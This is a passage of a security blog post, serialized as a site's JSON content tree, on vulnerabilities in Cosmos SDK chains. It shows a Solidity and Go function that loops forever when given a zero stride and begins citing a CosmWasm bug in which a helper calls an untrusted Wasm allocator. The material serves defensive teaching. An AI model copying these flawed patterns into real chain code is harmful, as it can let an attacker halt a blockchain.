[{"data":1,"prerenderedAt":175875},["ShallowReactive",2],{"blog-/blog/2025-06-10-cosmos-security":3,"featured-blog-posts":14163},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"date":10,"author":11,"image":12,"isFeatured":15,"onBlogPage":15,"tags":16,"body":19,"_type":14157,"_id":14158,"_source":14159,"_file":14160,"_stem":14161,"_extension":14162},"/blog/2025-06-10-cosmos-security","blog",false,"","Cosmos Security: An Otter's Guide","From infinite loops and map determinism to AnteHandler missteps and storage key collisions, we highlight real-world vulnerabilities and actionable advice for building safer Cosmos-based projects.","2025-06-10","james",{"src":13,"width":14,"height":14},"/posts/cosmos-security/title.png",1024,true,[17,18],"cosmos-sdk","security",{"type":20,"children":21,"toc":14135},"root",[22,31,37,42,48,53,58,63,370,887,907,912,917,922,929,934,973,983,1524,1544,1557,1563,1568,1573,1823,1828,1837,1850,2216,2221,2226,2263,2272,2708,2730,2736,2756,2777,2796,2830,2842,2855,3530,3558,3567,4010,4037,4057,4062,4083,4132,4141,5406,5434,5440,5445,5450,5470,5758,5793,5975,5980,5985,6029,6038,7237,7492,7505,7511,7545,7550,7613,7618,7638,7657,7669,7688,8385,8390,8395,8423,8432,9322,9349,9355,9375,9380,9393,9569,9582,9673,9678,9686,9697,9847,9852,9872,9880,9885,10283,10295,10300,10341,10352,10372,10681,10686,11611,11623,11631,11636,12630,12635,12647,12667,12686,13610,13667,13773,13785,13790,13795,13823,13832,14060,14086,14099,14113,14119,14124,14129],{"type":23,"tag":24,"props":25,"children":27},"element","h2",{"id":26},"introduction",[28],{"type":29,"value":30},"text","Introduction",{"type":23,"tag":32,"props":33,"children":34},"p",{},[35],{"type":29,"value":36},"The Cosmos SDK is an \"L1 toolkit\" for developers. It provides an open-source tool that enhances the ability to build application-specific L1 chains, all while prioritizing flexibility and control over the entire runtime environment. Unfortunately, with the convenience of the Cosmos SDK, security can be an oversight.",{"type":23,"tag":32,"props":38,"children":39},{},[40],{"type":29,"value":41},"In this comprehensive blog post, we break down security issues that are often overseen by developers, supported by real-world examples from live projects. Our goal is to provide a practical exploration of security vulnerabilities while also offering insights on how developers can identify and address these issues on their own.",{"type":23,"tag":24,"props":43,"children":45},{"id":44},"its-loopin-time",[46],{"type":29,"value":47},"It's Loopin' Time",{"type":23,"tag":32,"props":49,"children":50},{},[51],{"type":29,"value":52},"There are notable differences in building app-specific L1s using the SDK and building contracts on established L1 chains. It is especially crucial to recognize that maintaining the stability of a blockchain is dependent on the developer.",{"type":23,"tag":32,"props":54,"children":55},{},[56],{"type":29,"value":57},"Below, we begin to demonstrate the differences between writing smart contracts with Solidity vs developing L1 with the Cosmos SDK.",{"type":23,"tag":32,"props":59,"children":60},{},[61],{"type":29,"value":62},"Here is a simple example for reference:",{"type":23,"tag":64,"props":65,"children":69},"pre",{"code":66,"language":67,"meta":7,"className":68,"style":7},"function sumWithStride(\n    uint64 start,\n    uint64 stride,\n    uint64[] memory arr\n) public returns (uint64) {\n    uint64 idx = start;\n    uint64 sum = 0;\n    uint64 end = arr.length;\n\n    while (idx \u003C end) {\n        sum += arr[idx];\n        idx += stride;\n    }\n    return sum;\n}\n","solidity","language-solidity shiki shiki-themes slack-dark",[70],{"type":23,"tag":71,"props":72,"children":73},"code",{"__ignoreMap":7},[74,98,119,136,159,194,218,246,268,277,301,320,338,347,361],{"type":23,"tag":75,"props":76,"children":79},"span",{"class":77,"line":78},"line",1,[80,86,92],{"type":23,"tag":75,"props":81,"children":83},{"style":82},"--shiki-default:#569CD6",[84],{"type":29,"value":85},"function",{"type":23,"tag":75,"props":87,"children":89},{"style":88},"--shiki-default:#DCDCAA",[90],{"type":29,"value":91}," sumWithStride",{"type":23,"tag":75,"props":93,"children":95},{"style":94},"--shiki-default:#E6E6E6",[96],{"type":29,"value":97},"(\n",{"type":23,"tag":75,"props":99,"children":101},{"class":77,"line":100},2,[102,108,114],{"type":23,"tag":75,"props":103,"children":105},{"style":104},"--shiki-default:#4EC9B0",[106],{"type":29,"value":107},"    uint64",{"type":23,"tag":75,"props":109,"children":111},{"style":110},"--shiki-default:#9CDCFE",[112],{"type":29,"value":113}," start",{"type":23,"tag":75,"props":115,"children":116},{"style":94},[117],{"type":29,"value":118},",\n",{"type":23,"tag":75,"props":120,"children":122},{"class":77,"line":121},3,[123,127,132],{"type":23,"tag":75,"props":124,"children":125},{"style":104},[126],{"type":29,"value":107},{"type":23,"tag":75,"props":128,"children":129},{"style":110},[130],{"type":29,"value":131}," stride",{"type":23,"tag":75,"props":133,"children":134},{"style":94},[135],{"type":29,"value":118},{"type":23,"tag":75,"props":137,"children":139},{"class":77,"line":138},4,[140,144,149,154],{"type":23,"tag":75,"props":141,"children":142},{"style":104},[143],{"type":29,"value":107},{"type":23,"tag":75,"props":145,"children":146},{"style":94},[147],{"type":29,"value":148},"[] ",{"type":23,"tag":75,"props":150,"children":151},{"style":82},[152],{"type":29,"value":153},"memory",{"type":23,"tag":75,"props":155,"children":156},{"style":110},[157],{"type":29,"value":158}," arr\n",{"type":23,"tag":75,"props":160,"children":162},{"class":77,"line":161},5,[163,168,173,179,184,189],{"type":23,"tag":75,"props":164,"children":165},{"style":94},[166],{"type":29,"value":167},") ",{"type":23,"tag":75,"props":169,"children":170},{"style":82},[171],{"type":29,"value":172},"public",{"type":23,"tag":75,"props":174,"children":176},{"style":175},"--shiki-default:#C586C0",[177],{"type":29,"value":178}," returns",{"type":23,"tag":75,"props":180,"children":181},{"style":94},[182],{"type":29,"value":183}," (",{"type":23,"tag":75,"props":185,"children":186},{"style":104},[187],{"type":29,"value":188},"uint64",{"type":23,"tag":75,"props":190,"children":191},{"style":94},[192],{"type":29,"value":193},") {\n",{"type":23,"tag":75,"props":195,"children":197},{"class":77,"line":196},6,[198,202,207,213],{"type":23,"tag":75,"props":199,"children":200},{"style":104},[201],{"type":29,"value":107},{"type":23,"tag":75,"props":203,"children":204},{"style":94},[205],{"type":29,"value":206}," idx ",{"type":23,"tag":75,"props":208,"children":210},{"style":209},"--shiki-default:#D4D4D4",[211],{"type":29,"value":212},"=",{"type":23,"tag":75,"props":214,"children":215},{"style":94},[216],{"type":29,"value":217}," start;\n",{"type":23,"tag":75,"props":219,"children":221},{"class":77,"line":220},7,[222,226,231,235,241],{"type":23,"tag":75,"props":223,"children":224},{"style":104},[225],{"type":29,"value":107},{"type":23,"tag":75,"props":227,"children":228},{"style":94},[229],{"type":29,"value":230}," sum ",{"type":23,"tag":75,"props":232,"children":233},{"style":209},[234],{"type":29,"value":212},{"type":23,"tag":75,"props":236,"children":238},{"style":237},"--shiki-default:#B5CEA8",[239],{"type":29,"value":240}," 0",{"type":23,"tag":75,"props":242,"children":243},{"style":94},[244],{"type":29,"value":245},";\n",{"type":23,"tag":75,"props":247,"children":249},{"class":77,"line":248},8,[250,254,259,263],{"type":23,"tag":75,"props":251,"children":252},{"style":104},[253],{"type":29,"value":107},{"type":23,"tag":75,"props":255,"children":256},{"style":94},[257],{"type":29,"value":258}," end ",{"type":23,"tag":75,"props":260,"children":261},{"style":209},[262],{"type":29,"value":212},{"type":23,"tag":75,"props":264,"children":265},{"style":94},[266],{"type":29,"value":267}," arr.length;\n",{"type":23,"tag":75,"props":269,"children":271},{"class":77,"line":270},9,[272],{"type":23,"tag":75,"props":273,"children":274},{"emptyLinePlaceholder":15},[275],{"type":29,"value":276},"\n",{"type":23,"tag":75,"props":278,"children":280},{"class":77,"line":279},10,[281,286,291,296],{"type":23,"tag":75,"props":282,"children":283},{"style":175},[284],{"type":29,"value":285},"    while",{"type":23,"tag":75,"props":287,"children":288},{"style":94},[289],{"type":29,"value":290}," (idx ",{"type":23,"tag":75,"props":292,"children":293},{"style":209},[294],{"type":29,"value":295},"\u003C",{"type":23,"tag":75,"props":297,"children":298},{"style":94},[299],{"type":29,"value":300}," end) {\n",{"type":23,"tag":75,"props":302,"children":304},{"class":77,"line":303},11,[305,310,315],{"type":23,"tag":75,"props":306,"children":307},{"style":94},[308],{"type":29,"value":309},"        sum ",{"type":23,"tag":75,"props":311,"children":312},{"style":209},[313],{"type":29,"value":314},"+=",{"type":23,"tag":75,"props":316,"children":317},{"style":94},[318],{"type":29,"value":319}," arr[idx];\n",{"type":23,"tag":75,"props":321,"children":323},{"class":77,"line":322},12,[324,329,333],{"type":23,"tag":75,"props":325,"children":326},{"style":94},[327],{"type":29,"value":328},"        idx ",{"type":23,"tag":75,"props":330,"children":331},{"style":209},[332],{"type":29,"value":314},{"type":23,"tag":75,"props":334,"children":335},{"style":94},[336],{"type":29,"value":337}," stride;\n",{"type":23,"tag":75,"props":339,"children":341},{"class":77,"line":340},13,[342],{"type":23,"tag":75,"props":343,"children":344},{"style":94},[345],{"type":29,"value":346},"    }\n",{"type":23,"tag":75,"props":348,"children":350},{"class":77,"line":349},14,[351,356],{"type":23,"tag":75,"props":352,"children":353},{"style":175},[354],{"type":29,"value":355},"    return",{"type":23,"tag":75,"props":357,"children":358},{"style":94},[359],{"type":29,"value":360}," sum;\n",{"type":23,"tag":75,"props":362,"children":364},{"class":77,"line":363},15,[365],{"type":23,"tag":75,"props":366,"children":367},{"style":94},[368],{"type":29,"value":369},"}\n",{"type":23,"tag":64,"props":371,"children":375},{"code":372,"language":373,"meta":7,"className":374,"style":7},"type MsgSumWithStrideParams struct {\n    Start uint64\n    Stride uint64\n    Arr []uint64\n}\n\ntype MsgSumWithStrideResponse struct {\n    Sum uint64\n}\n\nfunc (ms msgServer) SumWithStride(\n    goCtx context.Context,\n    msg *MsgSumWithStrideParams,\n) (*MsgSumWithStrideResponse, error) {\n    sum := uint64(0)\n    end := uint64(len(msg.Arr))\n    for idx := msg.Start; idx \u003C end; idx += msg.Stride {\n        sum += msg.Arr[idx]\n    }\n    return &MsgSumWithStrideResponse{Sum: sum}, nil\n}\n","go","language-go shiki shiki-themes slack-dark",[376],{"type":23,"tag":71,"props":377,"children":378},{"__ignoreMap":7},[379,402,415,427,445,452,459,479,491,498,505,540,567,589,621,654,703,785,824,832,879],{"type":23,"tag":75,"props":380,"children":381},{"class":77,"line":78},[382,387,392,397],{"type":23,"tag":75,"props":383,"children":384},{"style":82},[385],{"type":29,"value":386},"type",{"type":23,"tag":75,"props":388,"children":389},{"style":104},[390],{"type":29,"value":391}," MsgSumWithStrideParams",{"type":23,"tag":75,"props":393,"children":394},{"style":82},[395],{"type":29,"value":396}," struct",{"type":23,"tag":75,"props":398,"children":399},{"style":94},[400],{"type":29,"value":401}," {\n",{"type":23,"tag":75,"props":403,"children":404},{"class":77,"line":100},[405,410],{"type":23,"tag":75,"props":406,"children":407},{"style":110},[408],{"type":29,"value":409},"    Start",{"type":23,"tag":75,"props":411,"children":412},{"style":104},[413],{"type":29,"value":414}," uint64\n",{"type":23,"tag":75,"props":416,"children":417},{"class":77,"line":121},[418,423],{"type":23,"tag":75,"props":419,"children":420},{"style":110},[421],{"type":29,"value":422},"    Stride",{"type":23,"tag":75,"props":424,"children":425},{"style":104},[426],{"type":29,"value":414},{"type":23,"tag":75,"props":428,"children":429},{"class":77,"line":138},[430,435,440],{"type":23,"tag":75,"props":431,"children":432},{"style":110},[433],{"type":29,"value":434},"    Arr",{"type":23,"tag":75,"props":436,"children":437},{"style":94},[438],{"type":29,"value":439}," []",{"type":23,"tag":75,"props":441,"children":442},{"style":104},[443],{"type":29,"value":444},"uint64\n",{"type":23,"tag":75,"props":446,"children":447},{"class":77,"line":161},[448],{"type":23,"tag":75,"props":449,"children":450},{"style":94},[451],{"type":29,"value":369},{"type":23,"tag":75,"props":453,"children":454},{"class":77,"line":196},[455],{"type":23,"tag":75,"props":456,"children":457},{"emptyLinePlaceholder":15},[458],{"type":29,"value":276},{"type":23,"tag":75,"props":460,"children":461},{"class":77,"line":220},[462,466,471,475],{"type":23,"tag":75,"props":463,"children":464},{"style":82},[465],{"type":29,"value":386},{"type":23,"tag":75,"props":467,"children":468},{"style":104},[469],{"type":29,"value":470}," MsgSumWithStrideResponse",{"type":23,"tag":75,"props":472,"children":473},{"style":82},[474],{"type":29,"value":396},{"type":23,"tag":75,"props":476,"children":477},{"style":94},[478],{"type":29,"value":401},{"type":23,"tag":75,"props":480,"children":481},{"class":77,"line":248},[482,487],{"type":23,"tag":75,"props":483,"children":484},{"style":110},[485],{"type":29,"value":486},"    Sum",{"type":23,"tag":75,"props":488,"children":489},{"style":104},[490],{"type":29,"value":414},{"type":23,"tag":75,"props":492,"children":493},{"class":77,"line":270},[494],{"type":23,"tag":75,"props":495,"children":496},{"style":94},[497],{"type":29,"value":369},{"type":23,"tag":75,"props":499,"children":500},{"class":77,"line":279},[501],{"type":23,"tag":75,"props":502,"children":503},{"emptyLinePlaceholder":15},[504],{"type":29,"value":276},{"type":23,"tag":75,"props":506,"children":507},{"class":77,"line":303},[508,513,517,522,527,531,536],{"type":23,"tag":75,"props":509,"children":510},{"style":82},[511],{"type":29,"value":512},"func",{"type":23,"tag":75,"props":514,"children":515},{"style":94},[516],{"type":29,"value":183},{"type":23,"tag":75,"props":518,"children":519},{"style":110},[520],{"type":29,"value":521},"ms ",{"type":23,"tag":75,"props":523,"children":524},{"style":104},[525],{"type":29,"value":526},"msgServer",{"type":23,"tag":75,"props":528,"children":529},{"style":94},[530],{"type":29,"value":167},{"type":23,"tag":75,"props":532,"children":533},{"style":88},[534],{"type":29,"value":535},"SumWithStride",{"type":23,"tag":75,"props":537,"children":538},{"style":94},[539],{"type":29,"value":97},{"type":23,"tag":75,"props":541,"children":542},{"class":77,"line":322},[543,548,553,558,563],{"type":23,"tag":75,"props":544,"children":545},{"style":110},[546],{"type":29,"value":547},"    goCtx",{"type":23,"tag":75,"props":549,"children":550},{"style":104},[551],{"type":29,"value":552}," context",{"type":23,"tag":75,"props":554,"children":555},{"style":94},[556],{"type":29,"value":557},".",{"type":23,"tag":75,"props":559,"children":560},{"style":104},[561],{"type":29,"value":562},"Context",{"type":23,"tag":75,"props":564,"children":565},{"style":94},[566],{"type":29,"value":118},{"type":23,"tag":75,"props":568,"children":569},{"class":77,"line":340},[570,575,580,585],{"type":23,"tag":75,"props":571,"children":572},{"style":110},[573],{"type":29,"value":574},"    msg",{"type":23,"tag":75,"props":576,"children":577},{"style":209},[578],{"type":29,"value":579}," *",{"type":23,"tag":75,"props":581,"children":582},{"style":104},[583],{"type":29,"value":584},"MsgSumWithStrideParams",{"type":23,"tag":75,"props":586,"children":587},{"style":94},[588],{"type":29,"value":118},{"type":23,"tag":75,"props":590,"children":591},{"class":77,"line":349},[592,597,602,607,612,617],{"type":23,"tag":75,"props":593,"children":594},{"style":94},[595],{"type":29,"value":596},") (",{"type":23,"tag":75,"props":598,"children":599},{"style":209},[600],{"type":29,"value":601},"*",{"type":23,"tag":75,"props":603,"children":604},{"style":104},[605],{"type":29,"value":606},"MsgSumWithStrideResponse",{"type":23,"tag":75,"props":608,"children":609},{"style":94},[610],{"type":29,"value":611},", ",{"type":23,"tag":75,"props":613,"children":614},{"style":104},[615],{"type":29,"value":616},"error",{"type":23,"tag":75,"props":618,"children":619},{"style":94},[620],{"type":29,"value":193},{"type":23,"tag":75,"props":622,"children":623},{"class":77,"line":363},[624,629,634,639,644,649],{"type":23,"tag":75,"props":625,"children":626},{"style":110},[627],{"type":29,"value":628},"    sum",{"type":23,"tag":75,"props":630,"children":631},{"style":209},[632],{"type":29,"value":633}," :=",{"type":23,"tag":75,"props":635,"children":636},{"style":104},[637],{"type":29,"value":638}," uint64",{"type":23,"tag":75,"props":640,"children":641},{"style":94},[642],{"type":29,"value":643},"(",{"type":23,"tag":75,"props":645,"children":646},{"style":237},[647],{"type":29,"value":648},"0",{"type":23,"tag":75,"props":650,"children":651},{"style":94},[652],{"type":29,"value":653},")\n",{"type":23,"tag":75,"props":655,"children":657},{"class":77,"line":656},16,[658,663,667,671,675,680,684,689,693,698],{"type":23,"tag":75,"props":659,"children":660},{"style":110},[661],{"type":29,"value":662},"    end",{"type":23,"tag":75,"props":664,"children":665},{"style":209},[666],{"type":29,"value":633},{"type":23,"tag":75,"props":668,"children":669},{"style":104},[670],{"type":29,"value":638},{"type":23,"tag":75,"props":672,"children":673},{"style":94},[674],{"type":29,"value":643},{"type":23,"tag":75,"props":676,"children":677},{"style":88},[678],{"type":29,"value":679},"len",{"type":23,"tag":75,"props":681,"children":682},{"style":94},[683],{"type":29,"value":643},{"type":23,"tag":75,"props":685,"children":686},{"style":110},[687],{"type":29,"value":688},"msg",{"type":23,"tag":75,"props":690,"children":691},{"style":94},[692],{"type":29,"value":557},{"type":23,"tag":75,"props":694,"children":695},{"style":110},[696],{"type":29,"value":697},"Arr",{"type":23,"tag":75,"props":699,"children":700},{"style":94},[701],{"type":29,"value":702},"))\n",{"type":23,"tag":75,"props":704,"children":706},{"class":77,"line":705},17,[707,712,717,721,726,730,735,740,745,750,755,759,763,768,772,776,781],{"type":23,"tag":75,"props":708,"children":709},{"style":175},[710],{"type":29,"value":711},"    for",{"type":23,"tag":75,"props":713,"children":714},{"style":110},[715],{"type":29,"value":716}," idx",{"type":23,"tag":75,"props":718,"children":719},{"style":209},[720],{"type":29,"value":633},{"type":23,"tag":75,"props":722,"children":723},{"style":110},[724],{"type":29,"value":725}," msg",{"type":23,"tag":75,"props":727,"children":728},{"style":94},[729],{"type":29,"value":557},{"type":23,"tag":75,"props":731,"children":732},{"style":110},[733],{"type":29,"value":734},"Start",{"type":23,"tag":75,"props":736,"children":737},{"style":94},[738],{"type":29,"value":739},"; ",{"type":23,"tag":75,"props":741,"children":742},{"style":110},[743],{"type":29,"value":744},"idx",{"type":23,"tag":75,"props":746,"children":747},{"style":209},[748],{"type":29,"value":749}," \u003C",{"type":23,"tag":75,"props":751,"children":752},{"style":110},[753],{"type":29,"value":754}," end",{"type":23,"tag":75,"props":756,"children":757},{"style":94},[758],{"type":29,"value":739},{"type":23,"tag":75,"props":760,"children":761},{"style":110},[762],{"type":29,"value":744},{"type":23,"tag":75,"props":764,"children":765},{"style":209},[766],{"type":29,"value":767}," +=",{"type":23,"tag":75,"props":769,"children":770},{"style":110},[771],{"type":29,"value":725},{"type":23,"tag":75,"props":773,"children":774},{"style":94},[775],{"type":29,"value":557},{"type":23,"tag":75,"props":777,"children":778},{"style":110},[779],{"type":29,"value":780},"Stride",{"type":23,"tag":75,"props":782,"children":783},{"style":94},[784],{"type":29,"value":401},{"type":23,"tag":75,"props":786,"children":788},{"class":77,"line":787},18,[789,794,798,802,806,810,815,819],{"type":23,"tag":75,"props":790,"children":791},{"style":110},[792],{"type":29,"value":793},"        sum",{"type":23,"tag":75,"props":795,"children":796},{"style":209},[797],{"type":29,"value":767},{"type":23,"tag":75,"props":799,"children":800},{"style":110},[801],{"type":29,"value":725},{"type":23,"tag":75,"props":803,"children":804},{"style":94},[805],{"type":29,"value":557},{"type":23,"tag":75,"props":807,"children":808},{"style":110},[809],{"type":29,"value":697},{"type":23,"tag":75,"props":811,"children":812},{"style":94},[813],{"type":29,"value":814},"[",{"type":23,"tag":75,"props":816,"children":817},{"style":110},[818],{"type":29,"value":744},{"type":23,"tag":75,"props":820,"children":821},{"style":94},[822],{"type":29,"value":823},"]\n",{"type":23,"tag":75,"props":825,"children":827},{"class":77,"line":826},19,[828],{"type":23,"tag":75,"props":829,"children":830},{"style":94},[831],{"type":29,"value":346},{"type":23,"tag":75,"props":833,"children":835},{"class":77,"line":834},20,[836,840,845,849,854,859,864,869,874],{"type":23,"tag":75,"props":837,"children":838},{"style":175},[839],{"type":29,"value":355},{"type":23,"tag":75,"props":841,"children":842},{"style":209},[843],{"type":29,"value":844}," &",{"type":23,"tag":75,"props":846,"children":847},{"style":104},[848],{"type":29,"value":606},{"type":23,"tag":75,"props":850,"children":851},{"style":94},[852],{"type":29,"value":853},"{",{"type":23,"tag":75,"props":855,"children":856},{"style":110},[857],{"type":29,"value":858},"Sum",{"type":23,"tag":75,"props":860,"children":861},{"style":94},[862],{"type":29,"value":863},": ",{"type":23,"tag":75,"props":865,"children":866},{"style":110},[867],{"type":29,"value":868},"sum",{"type":23,"tag":75,"props":870,"children":871},{"style":94},[872],{"type":29,"value":873},"}, ",{"type":23,"tag":75,"props":875,"children":876},{"style":82},[877],{"type":29,"value":878},"nil\n",{"type":23,"tag":75,"props":880,"children":882},{"class":77,"line":881},21,[883],{"type":23,"tag":75,"props":884,"children":885},{"style":94},[886],{"type":29,"value":369},{"type":23,"tag":32,"props":888,"children":889},{},[890,892,897,899,905],{"type":29,"value":891},"The provided Solidity / Cosmos snippets feature a public function that calculates the sums of an array using a provided starting ",{"type":23,"tag":71,"props":893,"children":895},{"className":894},[],[896],{"type":29,"value":744},{"type":29,"value":898}," and a ",{"type":23,"tag":71,"props":900,"children":902},{"className":901},[],[903],{"type":29,"value":904},"stride",{"type":29,"value":906},". It is crucial to note that this function lacks robustness. A keen observer might have already identified that if the user supplies a stride value of 0, the code will result in an infinite loop.",{"type":23,"tag":32,"props":908,"children":909},{},[910],{"type":29,"value":911},"While an infinite loop is not ideal for Solidity, it may still be tolerable. The underlying blockchain on which a smart contract operates is responsible for monitoring the gas and computation budget. It will intervene and terminate the execution at a certain point. Interestingly, those types of \"unhandled error\" patterns are quite common occurrences in contracts.",{"type":23,"tag":32,"props":913,"children":914},{},[915],{"type":29,"value":916},"However, the same logic does not directly apply to Cosmos. In Cosmos, users are responsible for implementing the entire L1, and there is no underlying computation budget tracker that automatically stops code execution. As a result, any potential logic DoS or infinite loop can directly lead to the custom Cosmos L1 chain halting or stalling.",{"type":23,"tag":32,"props":918,"children":919},{},[920],{"type":29,"value":921},"This toy scenario captures the importance of attention to error handling, edge cases, and overall robustness in Cosmos.",{"type":23,"tag":923,"props":924,"children":926},"h3",{"id":925},"real-world-examples",[927],{"type":29,"value":928},"Real-World Examples",{"type":23,"tag":32,"props":930,"children":931},{},[932],{"type":29,"value":933},"Now, let's examine a few real-world instances.",{"type":23,"tag":32,"props":935,"children":936},{},[937,939,948,950,956,958,964,966,972],{"type":29,"value":938},"In the case of ",{"type":23,"tag":940,"props":941,"children":945},"a",{"href":942,"rel":943},"https://github.com/JumpCrypto/security-research/blob/e900a400f763075bdae161f4fd6e36d70da1d844/advisories/2023-003-cosmwasm.md",[944],"nofollow",[946],{"type":29,"value":947},"this",{"type":29,"value":949}," ",{"type":23,"tag":71,"props":951,"children":953},{"className":952},[],[954],{"type":29,"value":955},"CosmWasm",{"type":29,"value":957}," bug, the helper method ",{"type":23,"tag":71,"props":959,"children":961},{"className":960},[],[962],{"type":29,"value":963},"write_to_contract",{"type":29,"value":965}," negligently calls the untrusted Wasm function ",{"type":23,"tag":71,"props":967,"children":969},{"className":968},[],[970],{"type":29,"value":971},"\"allocate\"",{"type":29,"value":557},{"type":23,"tag":32,"props":974,"children":975},{},[976],{"type":23,"tag":940,"props":977,"children":980},{"href":978,"rel":979},"https://github.com/CosmWasm/cosmwasm/blob/db426f9b15eabf18359df62878847bbaa7cb85ef/packages/vm/src/imports.rs#L409",[944],[981],{"type":29,"value":982},"Permalink for snippet",{"type":23,"tag":64,"props":984,"children":988},{"code":985,"language":986,"meta":7,"className":987,"style":7},"fn write_to_contract\u003CA: BackendApi, S: Storage, Q: Querier>(\n    env: &Environment\u003CA, S, Q>,\n    input: &[u8],\n) -> VmResult\u003Cu32> {\n    let out_size = to_u32(input.len())?;\n    let result = env.call_function1(\"allocate\", &[out_size.into()])?;\n    let target_ptr = ref_to_u32(&result)?;\n    if target_ptr == 0 {\n        return Err(CommunicationError::zero_address().into());\n    }\n    write_region(&env.memory(), target_ptr, input)?;\n    Ok(target_ptr)\n}\n","rust","language-rust shiki shiki-themes slack-dark",[989],{"type":23,"tag":71,"props":990,"children":991},{"__ignoreMap":7},[992,1065,1115,1145,1176,1230,1309,1356,1381,1431,1438,1497,1517],{"type":23,"tag":75,"props":993,"children":994},{"class":77,"line":78},[995,1000,1005,1009,1014,1019,1024,1028,1033,1037,1042,1046,1051,1055,1060],{"type":23,"tag":75,"props":996,"children":997},{"style":82},[998],{"type":29,"value":999},"fn",{"type":23,"tag":75,"props":1001,"children":1002},{"style":88},[1003],{"type":29,"value":1004}," write_to_contract",{"type":23,"tag":75,"props":1006,"children":1007},{"style":94},[1008],{"type":29,"value":295},{"type":23,"tag":75,"props":1010,"children":1011},{"style":104},[1012],{"type":29,"value":1013},"A",{"type":23,"tag":75,"props":1015,"children":1016},{"style":209},[1017],{"type":29,"value":1018},":",{"type":23,"tag":75,"props":1020,"children":1021},{"style":104},[1022],{"type":29,"value":1023}," BackendApi",{"type":23,"tag":75,"props":1025,"children":1026},{"style":94},[1027],{"type":29,"value":611},{"type":23,"tag":75,"props":1029,"children":1030},{"style":104},[1031],{"type":29,"value":1032},"S",{"type":23,"tag":75,"props":1034,"children":1035},{"style":209},[1036],{"type":29,"value":1018},{"type":23,"tag":75,"props":1038,"children":1039},{"style":104},[1040],{"type":29,"value":1041}," Storage",{"type":23,"tag":75,"props":1043,"children":1044},{"style":94},[1045],{"type":29,"value":611},{"type":23,"tag":75,"props":1047,"children":1048},{"style":104},[1049],{"type":29,"value":1050},"Q",{"type":23,"tag":75,"props":1052,"children":1053},{"style":209},[1054],{"type":29,"value":1018},{"type":23,"tag":75,"props":1056,"children":1057},{"style":104},[1058],{"type":29,"value":1059}," Querier",{"type":23,"tag":75,"props":1061,"children":1062},{"style":94},[1063],{"type":29,"value":1064},">(\n",{"type":23,"tag":75,"props":1066,"children":1067},{"class":77,"line":100},[1068,1073,1077,1081,1086,1090,1094,1098,1102,1106,1110],{"type":23,"tag":75,"props":1069,"children":1070},{"style":110},[1071],{"type":29,"value":1072},"    env",{"type":23,"tag":75,"props":1074,"children":1075},{"style":209},[1076],{"type":29,"value":1018},{"type":23,"tag":75,"props":1078,"children":1079},{"style":209},[1080],{"type":29,"value":844},{"type":23,"tag":75,"props":1082,"children":1083},{"style":104},[1084],{"type":29,"value":1085},"Environment",{"type":23,"tag":75,"props":1087,"children":1088},{"style":94},[1089],{"type":29,"value":295},{"type":23,"tag":75,"props":1091,"children":1092},{"style":104},[1093],{"type":29,"value":1013},{"type":23,"tag":75,"props":1095,"children":1096},{"style":94},[1097],{"type":29,"value":611},{"type":23,"tag":75,"props":1099,"children":1100},{"style":104},[1101],{"type":29,"value":1032},{"type":23,"tag":75,"props":1103,"children":1104},{"style":94},[1105],{"type":29,"value":611},{"type":23,"tag":75,"props":1107,"children":1108},{"style":104},[1109],{"type":29,"value":1050},{"type":23,"tag":75,"props":1111,"children":1112},{"style":94},[1113],{"type":29,"value":1114},">,\n",{"type":23,"tag":75,"props":1116,"children":1117},{"class":77,"line":121},[1118,1123,1127,1131,1135,1140],{"type":23,"tag":75,"props":1119,"children":1120},{"style":110},[1121],{"type":29,"value":1122},"    input",{"type":23,"tag":75,"props":1124,"children":1125},{"style":209},[1126],{"type":29,"value":1018},{"type":23,"tag":75,"props":1128,"children":1129},{"style":209},[1130],{"type":29,"value":844},{"type":23,"tag":75,"props":1132,"children":1133},{"style":94},[1134],{"type":29,"value":814},{"type":23,"tag":75,"props":1136,"children":1137},{"style":104},[1138],{"type":29,"value":1139},"u8",{"type":23,"tag":75,"props":1141,"children":1142},{"style":94},[1143],{"type":29,"value":1144},"],\n",{"type":23,"tag":75,"props":1146,"children":1147},{"class":77,"line":138},[1148,1152,1157,1162,1166,1171],{"type":23,"tag":75,"props":1149,"children":1150},{"style":94},[1151],{"type":29,"value":167},{"type":23,"tag":75,"props":1153,"children":1154},{"style":209},[1155],{"type":29,"value":1156},"->",{"type":23,"tag":75,"props":1158,"children":1159},{"style":104},[1160],{"type":29,"value":1161}," VmResult",{"type":23,"tag":75,"props":1163,"children":1164},{"style":94},[1165],{"type":29,"value":295},{"type":23,"tag":75,"props":1167,"children":1168},{"style":104},[1169],{"type":29,"value":1170},"u32",{"type":23,"tag":75,"props":1172,"children":1173},{"style":94},[1174],{"type":29,"value":1175},"> {\n",{"type":23,"tag":75,"props":1177,"children":1178},{"class":77,"line":161},[1179,1184,1189,1194,1199,1203,1208,1212,1216,1221,1226],{"type":23,"tag":75,"props":1180,"children":1181},{"style":82},[1182],{"type":29,"value":1183},"    let",{"type":23,"tag":75,"props":1185,"children":1186},{"style":110},[1187],{"type":29,"value":1188}," out_size",{"type":23,"tag":75,"props":1190,"children":1191},{"style":209},[1192],{"type":29,"value":1193}," =",{"type":23,"tag":75,"props":1195,"children":1196},{"style":88},[1197],{"type":29,"value":1198}," to_u32",{"type":23,"tag":75,"props":1200,"children":1201},{"style":94},[1202],{"type":29,"value":643},{"type":23,"tag":75,"props":1204,"children":1205},{"style":110},[1206],{"type":29,"value":1207},"input",{"type":23,"tag":75,"props":1209,"children":1210},{"style":209},[1211],{"type":29,"value":557},{"type":23,"tag":75,"props":1213,"children":1214},{"style":88},[1215],{"type":29,"value":679},{"type":23,"tag":75,"props":1217,"children":1218},{"style":94},[1219],{"type":29,"value":1220},"())",{"type":23,"tag":75,"props":1222,"children":1223},{"style":209},[1224],{"type":29,"value":1225},"?",{"type":23,"tag":75,"props":1227,"children":1228},{"style":94},[1229],{"type":29,"value":245},{"type":23,"tag":75,"props":1231,"children":1232},{"class":77,"line":196},[1233,1237,1242,1246,1251,1255,1260,1264,1269,1273,1278,1282,1287,1291,1296,1301,1305],{"type":23,"tag":75,"props":1234,"children":1235},{"style":82},[1236],{"type":29,"value":1183},{"type":23,"tag":75,"props":1238,"children":1239},{"style":110},[1240],{"type":29,"value":1241}," result",{"type":23,"tag":75,"props":1243,"children":1244},{"style":209},[1245],{"type":29,"value":1193},{"type":23,"tag":75,"props":1247,"children":1248},{"style":110},[1249],{"type":29,"value":1250}," 